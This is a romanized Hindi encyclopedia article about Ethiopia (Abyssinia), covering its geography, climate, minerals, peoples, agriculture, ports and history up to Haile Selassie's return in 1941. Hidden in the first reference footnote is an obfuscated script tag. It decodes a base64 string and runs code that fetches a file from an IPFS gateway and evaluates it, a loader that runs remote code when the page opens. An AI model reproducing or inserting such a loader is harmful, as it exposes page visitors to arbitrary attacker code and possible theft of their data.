इथिओपिया
ithiopiya uttarapoorv aphrika ka ek svatantr samrajy hai jo arajakiy star par abisiniya kahalata hai. sthiti : 5° u.a. se 15° u.a.; 35° poo.de. se 42° poo.de.; kshetraphal : 3,95,800 vargamil;. yah tigre, amhara, gojjam, goandar, shoa tatha any svatantr rajyoan ke sanyog se bana hai. sanh 1952 ee. mean, jab iritriya rajy abisiniya ka ek svayatt (aautonomas) praant ban gaya, is samrajy ki sima poorv mean lal sagar tak badh gee. isake pashchim mean soodan, u.poo. mean somalilaiand, d.p. mean yoogaanda tatha d. mean kenia adi rajy sthit haian. sanh 1935 ee. mean itali ne abisiniya par akraman kar ise aanshat: adhin kar liya, kiantu sanh 1941 ee. mean aangrej sainikoan ki sahayata se pun: svatantr ho gaya. adis ababa isaki rajadhani hai, tatha asmara (1,78,537), harar (42,771), desi (40,619), dire dava (50,733) adi any mukhy nagar haian.
abisiniya ek vishal pathari kshetr hai jo anek sthaloan par 13,000 phut se bhi adhik ooancha hai. ras dasahan isaka sarvochch shikhar hai, jisaki ooanchaee 15,153 phut hai. isake prakritik nirman ka sanbandh 'gret ripht ghati' tatha usase udgarit lava se hai. gret ripht ghati ki mukhy shakha, jo roodolph jhil se uttarapoorv mean lal sagar ki or agrasar hoti hai, abisiniya ke pathar ko do bhagoan mean vibhakt karati hai : (1) ithiopiya ka brihath pathar, jo ripht ghati ke uttarapashchim mean sthit tatha jisake aantargat tigre, amhara, shoa evan kapha ke praant haian. (2) harar ka sankirn pathar, jo ripht ghati ke dakshin poorv mean sthit hai tatha u.poo. se d.p. ko phaila hai. ye donoan kshetr baisalt evan traichait namak pattharoan ke bane haian jo shoa praant mean 6,000 phut ki motaee tak milate haian. abisiyinaya ke poorvottr bhag tatha iritriya mean kam ooanche evan shushk pathar milate haian jo adyakalpik (arkiyan) pattharoan se bane haian. inaki ooanchaee 1,500 se 5,000 phut tak hai.
abisiniya ki mukhy nadi setit hai jo lasta namak parvat se nikalati hai tatha age chalakar atabara ke nam se nil nadi ki sahayak ho jati hai. any nadiyoan mean abbaee pramukh hai, jo tana jhil se hokar bahati hai aur bloo nil ke nam se prasiddh hai. poorv ko aur pravahit honevali nadiyoan mean avas mukhy hai.
ithiopiya ke pathar par ooanchaee ke anusar jalavayu ke tin prakar milate haian : (1) kolla, 5,500 phut ki ooanchaee tak, jahaan pratyek mahine ka ausat tap 68° pha. se adhik hota hai; (2) vainadega, 5,500 se 8,000 phut tak, jahaan ja de mean thandi ratean (41° 50° pha.) hoti haian tatha varshik tapaantar 9° pha. se kam hota hai. adhis ababa (8,000 phut) ki ausat masik tap 58° pha. se 66° pha. tak ghatata badhata rahata hai; (3) dega, 8,000 phut se oopar, jahaan sadaiv sardi p dati hai tatha garmi ke tin mahinoan (march se mee tak) ka ausat tap 60° pha.° rahata hai.
harar, shoa, amhara tatha tigre ke patharoan par varsha garmi mean hoti hai, kiantu ithiopiya ke pathar par varsha pratyek mahine mean hoti hai. adis ababa ki varshik varsha 45 ianch hai, jisaka adhikaansh joon se aktoobar tak hota hai. harar pathar par varsha 20 ianch se 35 ianch tak hoti hai. kam ooanche sthaloan mean varsha ka abhav hai. dakshinapoorv mean varsha keval 5 ianch ke lagabhag hoti hai. ithiopiya ke pathar ke pashchimi bhag mean saghan van tatha kahi-kahian savaina ke ghas ke maidan milate haian. kam ooanche patharoan par savaina ki vanaspati tatha niche sthaloan mean jha diyaan paee jati haian.
is rajy mean sona, loha, koyala, plaitinam ityadi khanij vishesh roop se milate haian. inake atirikt baksait, chaandi, taanba, gandhak bhi prapt hote haian. yahaan jalavidyuth ki sanbhavi kshamata 40,00,000 ashvasamarthy hai.
ithiopiyavasi chauthi shatabdi se hi eesaee haian. ye hemait jati ke batae jate haian. galla logoan mean, jo krishak evan charavahe haian, kuchh eesaee tatha kuchh musalaman haian. inaki janasankhya 85,00,000 hai, jo desh ki kul janasankhya ki do tihaee hai. inake atirikt kuchh somali, danakil tatha habshi jatiyaan bhi basi haian.
yahaan ki mukhy phasal durra hai, yadyapi gehooan, jau, makka, aloo tatha mirch bhi hoti hai. harar, jimma tatha shidamoan jiloan mean utkrisht koti ka kahava utpann kiya jata hai. jagali kahava any sthanoan mean upajata hai. any phasaloan mean ruee, eekh, khajoor, kela ityadi mukhy hai. pashupalan yahaan ka mukhy udyam haian.
masava tatha asab, jo iritriya ke svayatt praant ke aantargat haian, abisiniya ke mukhy bandaragah haian. ye adis ababa evan any sthanoan se pakki s dakoan dvara sanbaddh haian. adis ababa se ek relave lain jibuti bandaragah ko jati hai jo phreanch somalilaiand ke aantargat hai. (n.ki.pr.sian.)
itihas-prachin yoonani kavi homar ke kavy mean abisiniya ke nivasiyoan ki charcha mean likha hai-sab deshoan se door unaka desh hai. devata unake rajabhojoan mean sammilit hote haian aur soory sanbhavat: unake desh mean ast hota hai. ibrani granthoan mean abisiniya ko 'habsiniya' kaha gaya hai.
abisiniya ke uttari pradesh ithiopiya ke prachin itihas ke anusar us desh par 11vian shatabdi ee.poo. tak misri samratoan ka adhipaty tha. jab tab vidroh karake abisiniya svatantr ho jata tha, kiantu phir misri senaean akar use vash mean kar leti thian. 11vian shatabdi ee.poo. mean abisiniya poorn svadhin ho gaya. napata ne svadhin rajy ki rajadhani bana. dhire-dhire naya rajy itana shaktishali ho gaya ki usane athavian shatabdi ee.poo. ke madhy svayan misr ko apane adhin kar liya. misr ka 55vaan rajakul abisiniya ka ithiopi rajakul hi tha. ithiopi rajakul ka jab 660 ee.poo. mean misr se aant hua tab bhi abisiniya svatantr rajy bana raha. eerani vijeta kanbujiy ne misr vijay karane ke bad abisiniya par akraman karane ke lie apana jahaji be da bheja kiantu vah nasht kar diya gaya. is yuddh ke parinamasvaroop rajadhani napata se hatakar mero kar di gee. 24 ee.poo. mean romi sena ne abisiniya par akraman kiya aur usake ek bhag par adhikar kar liya, kiantu romi samrath ogustas ne romi sena ko vapas bula liya. is kal ke abisiniya ke rajaoan mean netekamane aur raniyoan mean kanades ke nam pramukh haian. kuchh abisiniya paranparaoan ke anusar samrajni sheba abisiniya ki hi thi.
bharat aur abisiniya ka sanbandh lagabhag dhaee hajar varsh purana hai. kalyan, dhenukakat, supara adi bharat ke pashchimi tat ke bandaragahoan se tijarati jahaj supari, h d, chaval, vaidoory, kesal, agar, choyakastoori, eeguanr, shankh aur sooti kap da lekar abisiniya jate the. 'kathakosh' namak granth ke anusar bharat mean kap da rangane ke lie jis krimiraj ka prayog hota tha vah abisiniya se hi jata tha. ek lekh ke anusar abisiniya ki parvatakandaraoan mean doosari shatabdi ee.poo. mean saik doan diganbar jain sadhu raha karate the. eesa ki tisari shatabdi mean eesaee dharm abisiniya pahuancha aur vigat 1,600 varshoan mean vah vahaan ka rajadharm raha hai. sanh 615 ee. mean abisiniya ke samrath najashi ne saik doan musalaman arab sharanarthiyoan ko apane desh mean ashray diya.
sanh 525 ee. mean abisiniya ke raja al asabaha ne arab ke yaman praant par adhikar kar liya. lagabhag 50 varshoan tak yaman abisiniya ke adhipaty mean raha. chhathi sadi ee. se 19vian sadi ee. tak ibisiniya anek chhoti-chhoti riyasatoan mean bant gaya. in riyasatoan ki ae din ki l daiyoan ne abisiniya ko ek nirbal rashtr bana diya. 19vian shatabdi mean abisiniya ko apane sanrakshan mean lene ke lie yooropiy shaktiyoan mean pratispardha hone lagi. itali ne senaean bhejakar abisiniya ko apane adhikar mean lena chaha, kiantu adova ke maidan mean abisiniya ke hathoan itali ki senaoan ko gahari har khakar pichhe hatana p da. 40 varsh bad aktoobar, sanh 1935 mean musolini ki senaoan ne abisiniya par akraman kiya aur kee mahinoan ke yuddh ke bad mee, sanh 1936 mean use italavi samrajy ka aang bana liya.[1]
apane desh ki svatantrata ke is apaharan par rashtrasangh se apil karate hue abisiniya ke samrath hel silasi ke shabd the : eeshvar ke rajy ko chho dakar sansar ka koee rajy kisi doosare rajy se ooancha nahian. agar koee shaktishali rashtr kisi shaktihin desh ko sainik bal se dabakar jivit rah sakata hai to vishvas manie, nirbal deshoan ki aantim gh di a pahuanchi. ap svatantrata ke sath mere desh ke is apaharan par ana nirnay dean. eeshvar aur itihas apake nirnay ko yad rakhega.
doosare vishvayuddh ke dauran aprail, 1941 mean samrath hel silasi ne phir bandhanamukt abisiniya ki rajadhani adis mean pravesh kiya. usake bad se vaidhanik drishti se abisiniya mean anek shasan sudhar hue haian. janata ko vayask matadhikar prapt hai. parliyameant mean 'cheanbaraauv deputiz' (lokasabha) aur uchcha sabha, ye do sadan haian. mantrimandal ke hathoan mean satta hai. abisiniya sanyukt rashtrasangh ka sadasy hai. aantararashtriy rajaniti mean vah panchashil ka samarthak hai.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 525-26 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-je.ech. brested : e histri aauv eejipt phhऱam do arliest taims tu d parshiyan kaankvest; rikardas aauv eejipt; e histri aauv eejipt; ji.e. rozanar : arkeyalajikal sarve aauv noobiya; grifith : eksaveshans in noobiya; ee.si. luee : histri aauv sivilizeshans; sar arthar vigal : e histri aauv d fairaoz; e.bi. vild : madarn abisiniya (1901); sar ee.dablyoo. baz : e histri aauv ithiyopiya; ithiyopiyan dootavas dvara prasarit haiandauts.
sanbandhit lekh
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